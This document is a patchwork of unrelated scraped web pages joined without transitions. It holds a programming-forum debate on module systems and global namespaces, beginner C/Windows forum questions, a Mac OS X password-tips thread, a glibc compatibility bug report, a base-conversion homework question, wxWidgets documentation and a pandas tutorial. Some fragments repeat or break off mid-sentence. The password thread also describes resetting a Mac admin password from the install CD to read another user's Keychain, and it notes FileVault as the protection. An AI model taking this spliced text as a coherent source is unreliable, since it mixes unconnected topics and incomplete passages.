In some ways, I think of Newspeak as taking the scalable component abstractions concepts to their logical conclusions: All dependencies are abstract, and must be explicitly plugged together. Your architecture is just the top couple of layers of your object graph. This results in dramatically testable and configurable systems, where everything is fully re-entrant and dependencies that would be conflicting in other systems can peacefully co-exist as just different bits of heap. Scala breaks this by having top-level objects, by allowing references via fully-qualified names in a global namespace, and by requiring such fully-qualified names for object instantiation.
Hope this helps, although I admit I'm still working some of this out myself. (I half-expect Martin Odersky or Gilad Bracha to pop up to hammer me on any points I've screwed up.)
No worries.
I could not have it summed up better.
I recall reading a great Scala blog post where the blogger explores the possibility of using Scala's classes, singleton objects, type members and Scala's other machinery to see how closely Scala's module capabilities could match ML's module system.
That said, I've not yet seen a more thorough treatment of the issue of Scala and (parameterized) modules. Love to find something.
I'm also seeking a module system, one with some balance between simplicity (Turbo Pascal's unit/interface/implementation/initialization or a Scheme style module/import/export/rename/etc.) but also some degree of flexibility regarding parametricity and mutually recursive module references. Hmmmm....
I've been both coding in PLT scheme and reading up on their Unit system. While compelling in most of the parts I can grok, I find that the few papers (and the current sparse system documentation) I've found seem to describe subtly different systems (over time, I presume).
Also, with PLT's units in particular, I've sought 1) some description of straightforward mechanics that would accompany the use of PLT style units as the dominant "module system" for frequent and common "use cases," 2) more precise implications for the mechanics of compilation and linking (particularly whether such a system can work with a "stock" system linker) and so on and so forth. So far I'm not attracted to PLT's support of the unit system and then a related and/or integrated but still separately usable "regular" scheme module system.
Scott
Might you have been referring to one or the other of those two informative postings? wherein "the blogger explores the possibility of using Scala's classes, singleton objects, type members and Scala's other machinery to see how closely Scala's module capabilities could match ML's module system?
Advanced Module Systems: A Guide for the Perplexed
Raised more questions though, so I put studying advanced modules on hold :)
So if I understand most of Gilad Bracha's writing on the subject of the problems of shared global state and imports, they are related to this anecdote:
I was in the middle of writing a virtual machine, in C++. I decided that the easiest and most efficient thing would be to assume that there would only ever be one instantiation and just make its state (instruction pointer, primary stack, auxiliary stack, instruction stream) global. Later on, I decided I wanted multiple instantiations of the machine so I could easily support continuations. However retrofitting that design, required a darn lot of rewriting. I got distracted by other things, and decided to wait until I had a better language.
As I understand it, this is a good example of the kind of thing that a well-designed module system (like that of Newspeak of Scala) would avoid. It appear that maybe the ability to refactor code in the situiation like the one I describe, would be a good litmus test of a langauge's module system?
The anecdote you quote is a fine example. An important distinction between Scala and Newspeak is that Newspeak has no global namespace. This means that the person designing the VM in your example doesn't get to choose whether to make things global or not. After all, one could (with considerable effort) have made the right choice even in C++. Likewise, in Scala, one is still free to make the wrong choice and define a global object, or use Java packages etc. Hence, this isn't just a question of how easy it is to refactor; it's a question of avoiding the problem up front.
Thanks for chiming in Gilad. This helps make the stratification more clear. I agree with the principle that languages should try to avoid giving programmers the option of making the wrong choice.
I am considering the following module system design, and I wonder if you have any insights as to whether it comes close to satisfying the requirements you describe of a clean module system:.
So unless I am mistaken, in my proposed design, there is no mutable state in a global namespace. Modules definitions are stateless, but module instances are stateful.
I wonder if some of the advantages offered by the Newspeak module design are present in what I propose? I would also like to know if there are some obvious flaws in the design.
Every instance of a class is associated with a particular module instance, but even if two instance of the same class are associated with different module instances, they are considered the same type.
The originating module should not be the (only) criterion to decide if two classes are same, what if sometime later you decide to introduce parametric polymorphism to modules? Or instantiate separate versions of the same module?
You also need to consider where modules come from, I suppose linked object files? Or maybe packages/libraries?
No that's not what I mean to imply. Two classes are of the same type, if they have the same definition, and belong to the same module definition. This is just as types and packages in Java.
I see no reason for them to not come from both places.
Right, you need to consider the class definitions. There are cases where having the same full name is enough, but it is not necessarily the case.
If the modules come from object files: how do you specify that you want at some point to use the module A from object file K, and at another point the module A from object file L? A configuration may not be satisfied with a single implementation for a particular module considering modules can be instantiated several times.
Two classes are of the same type, if they have the same definition, and belong to the same module definition. This is just as types and packages in Java.
Not quite. In Java a single class in a single module can give rise to an infinite family of types due to parametric polymorphism ("generics").
Also you say "belong to the same module definition" but it can make sense to go with "same module instantiation" rather than "same module definition." In Scala a single class, even one that isn't parameterized, can lead to an infinite family of types for each of its inner classes.
scala> class Foo { class Bar(); def doIt(b : Bar) = "ok"}
defined class Foo
scala> val f = new Foo
f: Foo = Foo@16369fdc
scala> f doIt (new f.Bar)
res0: java.lang.String = ok
scala> val f2 = new Foo
f2: Foo = Foo@23dd246
scala> f doIt (new f2.Bar)
:8: error: type mismatch;
found : f2.Bar
required: f.Bar
f doIt (new f2.Bar)
Scala does let you loosen the type constraint if so desired. The above code would work with one small change
class Foo { class Bar(); def doIt(b : Foo#Bar) = "ok"}
Separating modules and classes is a legitimate alternative - indeed, that is how the Newspeak design started out. I do feel a need to be more careful about the distinction between classes and their definitions. I assume module definitions are stateless - only module instances have state, right?
If module definition M contains class definition C, then two instances of M, m1 and m2, would each have a distinct class corresponding to C.
These two classes are NOT necessarily equal (they could have distinct superclasses, and they implicitly depend on distinct state) and their instances may well have distinct types as well.
As far as imports: I'm not sure I follow. If module definitions refer to other module definitions by name, then there is a global namespace, albeit no global state. Is that the intent? If so, module definitions have hardwired external dependencies that are not parametric. This introduces ordering dependencies when compiling and loading module definitions.
I'm also unclear if you want to statically typecheck your code, and want module definitions to include/induce type declarations.
Thank you very much for humoring my design questions. Apologies to those who may feel this is off topic for LtU, but I can't pass up the opportunity to get pointers from Gilad on designing a module system, ;-)
Here is some pseudo-code which may help frame the discussion:
}
}
}
As I understand it, this is similar to a limited subset of the Scala object/module system. Several important differences: I don't support type or module parametricity over types or modules, only parametricity over values.
I assume module definitions are stateless - only module instances have state, right?
Correct.
If module definition M contains class definition C, then two instances of M, m1 and m2, would each have a distinct class corresponding to C.
These two classes are NOT necessarily equal (they could have distinct superclasses, ...
Yes, that would be true in a more expressive system but not in the one I am proposing. I am only considering a system where modules and types are parametric over values, not types.
... and they implicitly depend on distinct state)
That is true.
and their instances may well have distinct types as well.
I want to disallow that possibility explicitly.
If module definitions refer to other module definitions by name, then there is a global namespace, albeit no global state. Is that the intent?
Yes. But I'm constantly re-evaluating this point.
If so, module definitions have hardwired external dependencies that are not parametric. This introduces ordering dependencies when compiling and loading module definitions.
This makes sense. I have to try and figure out whether I can live with that. I am not entirely comfortable going as far as Newspeak does, with complete parametricity. One of my concerns is the potentially large number of parameters required in very big software. We talked a bit about this on this thread.
I'm also unclear if you want to statically typecheck your code, and want module definitions to include/induce type declarations
I do want to do some static type-checking, as much as possible, and I do want modules definitions to induce type declarations where possible.
I don't worry about an excessive number of parameters. Objects provide aggregation, so one should be able to group things together to manage this. Since I don't have enormous programs, I can't prove this. Time will tell.
I had the impression that classes were values in your system. If they are, and you can parameterize modules by values, then you could have classes and types vary between module instances. Or else you must put some arbitrary restriction on the use of class values, say, insisting that superclasses are fixed.
If classes aren't values you don't have proper abstraction over classes. You'll find yourself needing extra-linguistic hacks like or do without. "dependency injection" etc.
The same applies to module definitions. Your use of constructors for modules is a clear failure of abstraction. If modules aren't first class, eventually you will find a situation where you want to abstract over them. If your module system can't do that, you'll have to invent an extra-linguistic tool or do without.
Put another way: imports don't cut it.
I've read both the blog posts on modules, and there's one thing I'm concerned about with the idea of no global namespace: declarations.
Suppose I want to do a bunch of math, including trig. Presumably that's defined in some other module. Do I have to declare that I want to import something called math and then explicitly list every function I want to use? sin, cos, atan, etc.? Seems like this would ultimately result in a whole lot of declaration, and they'd be prone to typos and so forth.
It seems like it would be desirable to be able to import a whole math package at one go, and this wouldn't necessarily hurt the idea that we could have multiple instances and implementation of the math package.
Thoughts?
It's been years since I've explicitly typed a in import statement, and indeed I rarely even see them, even though most of my source files have at least a handful of them. Any modern IDE will simply make this a non-problem.
I'm a big IDE fan as well, but that doesn't mean that I think it's a good idea to design a language so that it requires an IDE to use. Saying the IDE will do it is the same thing as giving up on the problem. And you still have the question of where does the IDE get its definition of the Math module: is it from a global namespace?
i always find it rather frustrating when somebody says "i don't have that problem, therefore it isn't a problem."
"if that is your problem, it can be solved with any modern IDE". If there's a reason you can't use a modern IDE (there are a very few good reasons for that, and a whole lot of bad rationalizations), then I will admit to not being able to help. I'll also admit to thinking that language level solutions to the problem are unlikely to be very productive, compared to the alternative. Happy to sympathize, though, it you're into that sort of thing.
Doesn't this "modern IDE" argument that keeps popping up these days sound suspiciously similar to the "sufficiently smart compiler" fallacy from the old days?
Since the functionality we're talking about has been shipping in production IDEs for at least a decade now. This isn't vaporware. Some of it is practically legacy.
When you talk about putting something 'in the language' in this context, it really means 'standard text based program,' and it sort of implies that the programmer should be able to get the text right without help from the compiler/IDE. Talk of putting something 'in the IDE' means that a tighter feedback loop with the programmer is possible, e.g. resolving an ambiguity by picking the desired resolution from a drop down box.
I don't think this is either analogous to 'sufficiently smart compiler' buck passing or a fallacy.
"He jests at scars that never felt a wound."
This works in today's IDEs because of the global namespace. In a language like Newspeak, not even class/interface declarations are globally available, so there is no way to guess where a particular name ought to be imported from. (In fact, which messages a given object responds to is not even a static property in any sense, as far as I can tell. But that's almost a different problem.)
The only way I see that an IDE could automate some of this in a language like Newspeak is to build the IDE into the running program image. But even then you have trouble... When editing a class declaration, you'd have to be able to say "Assume this class will be instantiated with these objects as parameters. Now help me figure out what to import." But of course it might be instantiated with some other parameters, and anyway it would be pretty cumbersome.
Without any notion of global namespace, I really don't see where IDEs can get much leverage, and I do think this is a legitimate problem. Maybe it would be enough to rely on naming conventions, combined with the global namespace that is implicitly provided by the IDE itself? Ugly, though, in my opinion. Very ugly.
What properties do you ascribe to global namespaces that cannot be mimicked in a multi-stage programming environment with support for pluggable types and first-class modules?
As you can see, I want you to redefine the argument in terms of not having "to build the IDE into the running program image" - which is a silly dependency and creates all kinds of "bundling" issues. Gilad's argument about not abusing type systems leads to this design consequence. You can now think in terms of caching configuration sets and having a currently-selected-configuration.
Despite not having a global namespace, you can have a default schema to bootstrap things. In fact, this is how IntelliSense "Did you mean to include this reference?" effectively works, except it is generalized. I believe NetBeans can be described as working in the same way; I know NetBeans is capable of caching schemas from the Internet, locally, as of version 6. As with all data interchange problems, the first step is to realize you are dealing with a data interchange problem. The second step is to define a format for interchanging data, and not abuse that format with additional semantics on top of its data interchange responsibility.
An interesting "tools" look into resolving terms and binding them to a configuration has seeds of this idea in Greg Little's MIT masters thesis: Programming with Keywords - there was also an OOPSLA paper about code completion in Eclipse: Code Completion Using Keyword Queries in Java by Greg Little and Rob Miller.
Bottom line: there are many attack vectors to solve the false dilemma you propose.
I like Greg's work, but when you actually go and read the paper...you find that this is still very early research and the system isn't very usable yet.
Designing these tools won't be easy, the challenge is how computers can automatically map program context to what the programmer wants, and how can programmers express what the want? I think if we go for a pure tool solution, where we take existing languages and create super "smart" IDEs, we are probably going to fail. Human meaning is so buried in these languages, through documentation and naming conventions, that it is difficult for the computer to do anything with that even if it can reason about the program's structure.
I think the right solution will be a combination of tool technology coupled with new programming languages that take human intentions more seriously, and allow the computer to reason about this intention more easily.
Ritter et al. Modeling How, When, and What Is Learned in a Simple Fault-Finding Task. Cognitive Science A Multidisciplinary Journal, 2008; 32 (5): 862 DOI: 10.1080/03640210802221999
They use the programming language Soar. For what it's worth, I am not sure the language should take human intentions more seriously. That is a huge design box that is very hard to explore. Geoff Wozniak did a Ph.D. thesis under the support and supervision of none other than Richard Gabriel (see: Structuring data via behavioural synthesis) -- I later pointed Geoff to the idea of coalgebras and behavioral synthesis for hardware chip design. Rather, I think we should build programming languages that allow us to better model how humans might approach solving problems, especially as their knowledge about the problem accumulates over time. The fact we build the models in a formal language is good because it helps eliminate modeling errors, and guarantees a certain degree of engineering/scienece tender, love, and care.
This is a problem with any OO language neh? In Scala, you have to do something like "import Math._" but then you can access those functions directly in your source code without further qualification. This could include implicit conversions that enhance existing types (like doubles and ints) with new methods (like sin, cos).
But a global flat namespace would really help out in the discovery process, because often we don't know where to import from. See this post for a discussion on that.
As far as I am concerned, putting functions in the current namespace and using an external module are separate concerns.
If you want to use the math module then do instantiate it. You can access all its functions through the module instance (eg. MyMath.sin(0.5)).
Importing the module functions in the current namespace, if that is what you want, is a different operation. In fact that probably does not necessitate the module to be instantiated first: just declare that you want to import all functions, or sin cos atan from the math module, and the functions become defined when you instantiate the module in a special place reserved for this use. Eg. the imports section of Heron.
Also, I think that top-level modules are resources that you load from a location external to the program, eg. the file system. As such you can use the compiler command-line to specify their location (like C libraries), or you can use URL loading commands inside the program..
I was originally going to just pop in something that resembled the Python module system when I started reading some of Gilad Bracha's blog posts and articles, and some of the related discussions on Lambda-the-Ultimate.org and various other blogs... The only excuse you should have for copying it is if someone pushed cocaine on you.
I did investigate this and I completely agree that having modules place all definitions in the global namespace is definitely not a good thing. So I ended up deciding on a system that bears some resemblance to the Python modules, but where modules instantiation is separated from module import.
In the latest release of Heron, modules can't be used until they have been instantiated. When you instantiate a class from another module, you then have to associate it with a particular module instance. Using the syntax new MyClass() from MyModuleInstance.
new MyClass() from MyModuleInstance
You can see examples of it in action in the following files:
There is another flaw in Python's implementation.
If you launch a script, you are stuck in a relative namespace of addins and cannot refer back to the global namespace. This results again in Python having a very nasty side-effect. Think of launching a script for url parsing and having it stomp on your pre-existing URLParse namespace. The funny thing is Python offers a bevy of ways to do relative addressing, but no global addressing. -- I plan to write a front-page story for LtU talking about global addressing schemes soon, as a PLT researcher asked me for prior art in this area of modularity.
Python's module implementation is lame!
Edit: Where do you assert the outcome of your tests are correct, by the way??
Edit: Where do you assert the outcome of your tests are correct, by the way??
Are you sure you really want to know?
...
I run TestAll and watch the output. There is more unit testing of sub-systems within the source code itself. You have to change the settings within config.xml to get it to work.. Dijkstra
A simple suggestion might be to stream the results of each test result to an individual test file, and check those into a repository. Your check-ins will only include regressions, assuming versions are immutable.
In this way, your version control repository test_results will keep track of your overall improvement in the quality of your implementation. You can then notice you have fewer bug reports and more bug fixes as time goes by. I would recommend using GIT for this, as its kick butt performance lends itself well to repository trend analysis such as the one I just suggested.
I suggest you to put code examples to wiki. Code examples are good starting point to get some taste of a language - first example is usually "hello world" and second one shows some nice language feature, be it some new structure, syntactic sugar or overall elegance. Reading whole design documentation and specification is a bit tough starting point, there should be something for first 20 minutes ;)
Good advice, thanks. I did add a Hello World program along with a prime number generator to the Wiki. I'll try to do more over the coming weeks.
More pertinent to this thread perhaps is a new page describing the Heron module system.
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oki here they comes:
// framework.c
/////////////////
//// Headers ////
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#include <windows.h>
#include "const.h"
oki here they comes:
// framework.c
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//// Headers ////
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#include <windows.h>
#include "const.h"
well i dont show any piece of code here because they are not only 20 lines or something, if you like i can post it later. i just wanna ask if anyone suffered this weired thing before, everything...
Hi everyone,
just a simple windows question. i'm making my first windows game with C and everything seems to be ok, but when i run the game i found the game window rejected paiting anything after...
from command line arguments, say if i start server like this:
serversocket.c 12345
it means server may start with local address and listen at port 12345;
and client side may type a command as...
weird. it is not correct even we count null chars. i sent a message "hello" which lengths should be 5(or 6 if a null char considered) but actually server got a string with 7 chars, and if we send...
hi all~
i made a simple socket test and it worked. but it is weired that the message changes both from client to server and from server to client. for example i send a message "hi" to server and...
operators like >> dont help caz i'm developing a simple window program. the string may be used in functions like MessageBox so that is why i'm seeking for a simple function which can convert int into...
wor too many steps for debugging. are there any functions can be used ?
hi all~
i'm newbie to C++ string type and get confused when trying to convert an int into string, i just want my cute messagebox to popup mouse positions, here is my code:
MessageBox(NULL,...
one more thing, is there any efficiency difference btween CreateMenu and .rc resources ? i think program size may be smaller by CreateMenu way but less efficiency when running, anyway i dont proof it.
tks man ! i love CreateMenu lol ;)
hi all~
i've created a simple window and now have a few questions about menu:
1. my book told me to build a menu we need create certain menu class and corresponding header files first, but how...
tks guys i've made a cute window now, but met some problems when facing messages. here is my callback function to deal with messages:
LRESULT CALLBACK WndProc(HWND hwnd, UINT iMsg, WPARAM...
hi all~
i'm newbie to windows and GUI programming and just start reading "Windows Programming" but something confused me on createing a window. here are my questions:
1. all samples in the book...
tks Dave_Sinkula,
in fact the code is composed of these two lines:
#define KEYS *(volatile u16*) 0x4000130
#define keyPressed(key) (~KEYS & key)
as u said it is relative to keys...
tks man, i searched it within "the c++ programing language" and also found it is rarely used. what this cute macro really confused me is:
1 it has two *, which means pointer to pointer ?
2 ...
howdy~
here is a macro which i dunno what it means:
#define KEYS *(volatile u16*) 0x4000130
i'd appreciate if anyone could explain it abit(especially volatile keyword), tks.
gosh there is a long long way to go, and during which are filled up traps ;)
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i bought a book named "Visual C++.Net" issued by Microsoft, but i found it is abit hard for newbie like me, my goal is to learn a little on windows programming with C++, i'd appreciate ur...
simply checking the grammer, i think C# and Java are more alike than C or C++.
my book has arrived ! i got it last night and hasnt read it yet. i may be busying in doing it the next a few days, Cheers.
anyway thanx all of your guys.
thanx man i got it, but another problem, what if we prefer that read-only member not to be static(ie. constant) but dynamic one ? for example we may implements a LoadComponents class to load external...
it is wonderful but i can not understand it utterly can you explain in more details ? thanx !
hi all~
i wanna know how to make some members to be read-only ones in class implementation, maybe simple question ?
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If the first technique is a non-starter for you, try using your ability to remember a spatial layout. In this instance, it is your keyboard that you will choose as your canvas (and in my case, this is a British QWERTY keyboard). This method has the advantage of generating passwords that you don't even have to remember ... all you need to be able to do is remember how you typed them.
Pick a couple of letters to form the base of your password, and then type a pattern about them. E.g. using the d and k keys as the base, I can type the following:
erfcxsiol,mj
157qtuagjzbm
!%&157qtuagjzbm!%&
¡5¶œt¨åg??bµ
Mac OS X 10.3 has a built-in password assistant, but I only know one way to access it.
1. Open the Keychain Access utility.
2. Select Edit > Change Password for Keychain...
3. Click the "i" button to open the Password Assistant.
4. Test your passwords in the "New Password" field. You don't need to change your password to test new ones.
Have fun.
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Mozilla/Firefox's master password configuration also has a password difficulty analyzer.
Great hint. Thanks (I've actually been doing this for years but never thought of writing it up as a hint - well done!).
My problem is that I've got too many good passwords. I generally try to use a different password for most websites, and even more different passwords at work - I stopped counting them at 20 :-) To make things worse they introduced password aging at work, so they're constantly changing too *sob*
But Apple helps here too! Keychain Access is intended to give you some control over the automatically stored passwords (from safari, finder etc.) but you can use it to store your passwords too.
Start Keychain Access (in your Utilities folder). To store a new password, click on the password icon (the key at the left of the toolbar) and you can enter a name (the application/machine/site or whatever), an account name and a password.
To see a forgotten password, open Keychain Access and click on the name of the password you stored. At first it won't show the password. To see the password you first have to click on the show password button (bottom left), enter your login password in the pop-up dialog and then click either allow once or always allow to display the password. If you click on allow once then you will have to supply your login password the next time you want to see the stored password again. Selecting always allow will cause Keychain Access to show the password in the future as soon as you click on the show password button.
Of course this relies on you having a good login password and you NOT FORGETTING IT :-)
I've been using this for a while now, and although it is a little cumbersome, it does provide a neat way of storing sensitive information, and it's already saved some serious headaches
I find keychain Access extremely useful.
It means that I can use secure passwords on all web sites etc that I visit because I dont have to remember them.
The description above makes it sound rather complicated (not a criticism) , however once it is configured it isn't really.
TIP: you can get a Keychain access icon in the menu bar which makes it very quick to access the app. To do this start Keychain Access and then goto view >> Show status in menu bar.
REMEMBER to backup your keychain files, otherwise you may loose all your difficult to remember passwords. (The way I do this is by backing up my entire home folder.)
Also I use apg (automatic password generator) to create pronounceable passwords ten at a time, I then choose one I like. I got this program via fink but I am sure there are other sources.
I'm pretty sure that since panther, the password maximum length has been increased. So you can just use the sentence: "This is my brand spanking new PowerBook G4 - aren't I lucky!" directly as a password, including punctuation.
While this is true, that password would fail the second criteria I listed for a good, secure password. In other words, while it would be an OK password purely on the basis of its length, it would still be quite crack-able due to its extensive use of plain English.
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No, you are wrong. If you try to brute force crack passwords with a length of 11 regular words that is practically an infinite number of passwords to go through.
On each position you have houndreds of thousands, maybe millions, of alternatives - which is far better than using 11 letters from even the whole UTF16 character set. Practically, if you use letters, you are limited to 100-200 alternatives/position. In other words:
200^11 or 200 000^11. You do the math.
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Greetings,
I've been generating my passwords through a small Java utility that I wrote a few years ago. GenPasswd accepts a word of six characters or more and mangles it by inserting digits based on a simple algorithm. I use GenPasswd in combination with mnemonic phrases, such as: iamhungry or with foreign words. iamhungry, for example, becomes i8mhu5gr9.
The listing for the program is below.
/**
Password generating utility version 1.0
© copyright 2001 Eugene Ciurana -- distribute as you see fit
as long as you keep this copyright notice.
@author Eugene Ciurana
@version 1.0
*/
public class GenPasswd extends Object {
// *** Private and protected members ***
private static void helpUser() {
System.out.println("genpasswd: Too few arguments\n");
System.out.println("Syntax: genpasswd word1 word2 word3 ... wordN");
System.out.println(" wordN is a 6-letter (or more) string");
} // helpUser
// *** Symbolic constants (public and private) *****
// *** Public methods ***
// ***** Main program *****
public static void main(String[] argV) {
if (argV.length == 0x00)
helpUser();
for (int nLoop = 0x00;nLoop < argV.length;nLoop++) {
if (argV[nLoop].length() < 0x06)
System.out.print(argV[nLoop]+" -- word too short");
else
for (int nInnerLoop = 0x00;nInnerLoop < argV[nLoop].length();nInnerLoop++)
if (nInnerLoop == 0x01 || nInnerLoop == 0x05 || nInnerLoop == 0x08)
System.out.print((nInnerLoop+argV[nLoop].charAt(nInnerLoop))%0x0a);
else
System.out.print(argV[nLoop].charAt(nInnerLoop));
System.out.println();
}
} // main
} // class GenPasswd
Password generating utility version 1.0
Use a text editor to create this file. When done, compile with javac:
javac GenPasswd.java
To execute it, run:
java GenPasswd someword
I hope you find this useful.
Cheers,
E
javac GenPasswd.java
java GenPasswd someword
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Remember that "foreign" words are only foreign to you.
merlin_ wrote:
> Remember that "foreign" words are only foreign to you.
Indeed. It might still be vulnerable to a dictionary attack; the mangling algorithm seems to do a decent job in creating mnemonic passwords, though. I usually go for phrases, though. Harder to nail them with a dictionary attack.
Cheers,
E (aka tek_fox)
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This is my password algorithm:
Let's say you've had a favorite password for years, and you know it so well that you can type it really fast without looking at the keyboard. But lately you've realized how terribly insecure it is. For example, maybe its actually "password". That's OK, because we can get many new secure passwords from this, without having to teach yourself a "story".
To generate the new password, simply translate your fingers on the keyboard over to the right one key. In this case, your new password becomes "[sddeptf", and you can type it just as fast without looking.
Got another computer? OK, translate over to the right one key and up one key. Your password for this machine is "+err4-6t".
Another computer? How about down one key: ";zxxslfc".
Another computer?...
Your...
Ok I'm no cyptologist, but it would seem to me that if your password was 'password' or some other common word, then your method would not hide the password from someone who was trying to get in to your machine.
Wouldn't a password cracking program be able to spot your trick quite easily? You're not actually randomising anything so the pattern of your word would still be recognisable, all the program would have to do is figure out where you had shifted your fingers to.
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Remember - in a million years we'll all be dust, and none of this will matter
Another way to generate a pool of secure passwords that are (relatively) easy to remember is to do the following:
1. Come up with a grouping of things that is easy to memorize (e.g., odd animals):
giraffe
platypus
2. Find a series of numbers that is easy to remember (e.g., your phone extension at work). Split the number and wrap it around a word from step 1; you can reverse the number as well:
44giraffe31
31platypus44
3. Convert certain characters to non-alphanumeric characters (e.g., i to !, a to @):
44g!r@ffe31
31pl@typ#s44
You can vary steps 2 and 3 to generate a pool of unique passwords, which is handy when you have to generate and remember passwords for email, message boards, computer accounts, etc. As long as you can remember the group, the number, and which characters you switch to non-alpha, you can always retrieve the password (though it sometimes takes a couple tries).
You can also convert the numbers to characters and the characters to numbers by pressing/releasing the shift key. The examples above become
$$g1r2ffe#!
#!pl2typ3s$$
Have fun!
-Mark
I took Tom Van Vleck's Pronounceable Random Password generator and added a Cocoa-Java front-end for it which allows you to control the password length and complexity:
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
# @func randomPassword();
# @desc Generates a random password
# @output none
#
#function to generate a random password
function randomPassword($length)
{
#generate a unique random password
mt_srand((double)microtime() * 1000000);
$possible = 'abcdefghijklmnopqrstuvwxyz0123456789' . 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$randompass ="";
while(strlen($randompass) < $length)
{
$randompass .= substr($possible, mt_rand(0, strlen($possible) -1), 1);
}
$randompass = trim($randompass);
return($randompass);
}
Google "diceware" (site seems to be down currently)
They had a good way to create easy, relatively memorable and secure passwords.
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In /dev/null, no one can hear you scream:
I am just wondering: what is going to happen when you use the Mac Os X install CD to boot, change the passwords, so you have a complete control over anyone else's system. With the new password you login and use the Keychain Access. Is it secure? Anyone with some experience?
This is one of the purposes of FileVault. As it stands, if you have a normal account set-up without a Master password and FileVault activated, anyone with physical access to your machine can easily access your account using the method you described - boot from Install CD, change the admin password and then access the admin's Keychain to see all their passwords.
If you use FileVault this is no longer possible as changing the password with the install CD disconnects the FileVault from the user - all that the person hacking into the system would get is access to an encrypted image for which they would need the Master Password to mount. The Master Password itself is set in stone and cannot be changed. See the Security panel in System Preferences (in 10.3.x) for more info.
As an alternative to FileVault, you can choose to use a password for your Keychain that is not the same as your login password, so that it remained locked even if someone changed your login password. That is, you would have to type in another different password after login to allow the system and applications to access the keychain.
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If you boot from the install disc and reset a user's password, their Keychain password isn't changed at all. It remains as the original password.
This
I use Passenger.
What I like is that I can find back generated pw if I have the master password and the name/login used.
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I noticed recently, after fudging my root password half-way through and just hitting ENTER for another try, that when using `su` in OSX only 8 characters of your password are required for changing users. This deeply disturbs me, as most of my password are 20 chars or longer.
But I can `su` to any one of my users with as little as 8 characters, including root.
$o.
As noted, this is a UNIX failing. However, Panther took care of this failing in Jaguar (and pre-jaguar). If you're running Panther (and upgraded from Panther), all you have to do is change your current password(s) and you will forever be free of the 8 character limit. The limit in Panther is significantly higher.
hexdump -n 16 -e '16/1 "%02X" "\n"' /dev/random
function rand-pass
{
# this one strips iffy chars from output
jot -r -c 64 32 128 | rs -g 0 16 | tr -d "\ \`\'\"\~\<\>\[\]\(\)\{\}\.\,\:\;\?\@\\\/\|"
}
function rand-file
{
# this one strips all but alphanumeric chars from output
jot -r -c 64 32 128 | tr -cd "[:alnum:]" | rs 0 16
}
I created a Dashboard widget (the generally well received Make-A-Pass) that has similar functionality to what's being discussed here. It lets you generate passwords between 4 and 64 characters in length with the following options:
Now that I'm aware of Password Assistant, I'd prefer to tap that directly within my widget. Does anyone know if there is a command-line interface to Password Assistant?
Thanks!
-Andrew
Important update for 10.4 - you musn't use "high" ASCII characters in your password (those achieved by pressing the option key with the alphanumerics) as this will lead to a BSOD:
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#include <wx/log.h>
This class represents a background log window: to be precise, it collects all log messages in the log frame which it manages but also passes them on to the log target which was active at the moment of its creation.
This allows you, for example, to show all the log messages in a frame but still continue to process them normally by showing the standard log dialog.
Creates the log frame window and starts collecting the messages in it.
Called if the user closes the window interactively, will not be called if it is destroyed for another reason (such as when program exits).
Return true from here to allow the frame to close, false to prevent this from happening.
Called right before the log frame is going to be deleted: will always be called unlike OnFrameClose().
Shows or hides the frame. | http://docs.wxwidgets.org/trunk/classwx_log_window.html | CC-MAIN-2018-34 | refinedweb | 145 | 67.69 |
Red Hat Bugzilla – Bug 74634
binaries built with glibc 2.2.94 not compatible with 2.2.90 (rh7) or lower
Last modified: 2008-03-13 15:18:51 EDT
From Bugzilla Helper:
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1) Gecko/20020827
Description of problem:
Running a dynamically-linked binary built against glibc 2.2.94 (or something
higher than 2.2.90) in RH 8.0 seems to be unrunnable on (null) or 7.3 (and
probably lower). The problem seems to be a change in ctype.
In 2.2.90, ctype.h has:
extern __const unsigned short int *__ctype_b; /* Characteristics. */
...
#define __isctype(c, type) \
(__ctype_b[(int) (c)] & (unsigned short int) type)
In 2.2.94 (and possibly earlier), this became:
extern __const unsigned short int **__ctype_b_loc (void)
__attribute__ ((__const));
...
#define __isctype(c, type) \
((*__ctype_b_loc ())[(int) (c)] & (unsigned short int) type)
Trying to run an app built on 8.0 that uses ctype results in:
./mozilla-bin: relocation error: /home/vladimir/mozilla/libmozjs.so: symbol
__ctype_b_loc, version GLIBC_2.3 not defined in file libc.so.6 with link time
reference
This would happen with both gcc3 and gcc296 built binaries (the mozilla above
was built with gcc296).
If foo.c is created as such:
#include <ctype.h>
__const unsigned short int **__ctype_b_loc (void)
{ return &__ctype_b; }
__const __int32_t **__ctype_tolower_loc (void)
{ return &__ctype_tolower; }
__const __int32_t **__ctype_toupper_loc (void)
{ return &__ctype_toupper; }
and compiled with "gcc -shared -o foo.so foo.c", and then used as a LD_PRELOAD
for the binary in question, it runs fine under (null) and presumably under 7.3
as well.
And the problem is?
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My professor gave us an assignment to Convert the following 2 numbers to binary, octal and hex. 3.567, 0.032432
which would be easy if the numbers given weren't in decimals. I'm using the % operator and that can't be used by float... I'm lost. Can someone give me an idea what to do?
heres one part of my code for the binary conversion.
#include <iostream> #include <iomanip> using namespace std; int main() { int num; int total = 0; cout << "Please enter a decimal: "; cin >> num; while(num > 0) { num /= 2; total = num % 2; cout << total << " "; } return 0; } | https://www.daniweb.com/programming/software-development/threads/358527/really-don-t-get-this | CC-MAIN-2021-25 | refinedweb | 101 | 72.46 |
Pandas Select rows by condition and String Operations
There are instances where we have to select the rows from a Pandas dataframe by multiple conditions. substring with the text data in a Pandas Dataframe. Here we are going to discuss following unique scenarios for dealing with the text data:
- Select all rows containing a sub string
- Select rows by list of values
- Select rows by multiple conditions
- Select rows by index condition
- Select rows by list of index
- Extract substring from a column values
- Split the column values in a new column
- Slice the column values
- Search for a String in Dataframe and replace with other String
- Concat two columns of a Dataframe
Let’s create a Dataframe with following columns: name, Age, Grade, Zodiac, City, Pahun
import pandas as pd df = pd.DataFrame({'name':['Allan2','Mike39','Brenda4','Holy5'], 'Age': [30,20,25,18],'Zodiac':['Aries','Leo','Virgo','Libra'],'Grade':['A','AB','B','AA'],'City':['Aura','Somerville','Hendersonville','Gannon'], 'pahun':['a_b_c','c_d_e','f_g','h_i_j']})
We will select the rows in Dataframe which contains the substring “ville” in it’s city name using str.contains() function
df[df.City.str.contains('ville',case=False)]
Select rows by list of values
We will now select all the rows which have following list of values ville and Aura in their city Column
search_values = ['ville','Aura']
df[df.name.str.contains('|'.join(search_values ))]
After executing the above line of code it gives the following rows containing ville and Aura string in their City name
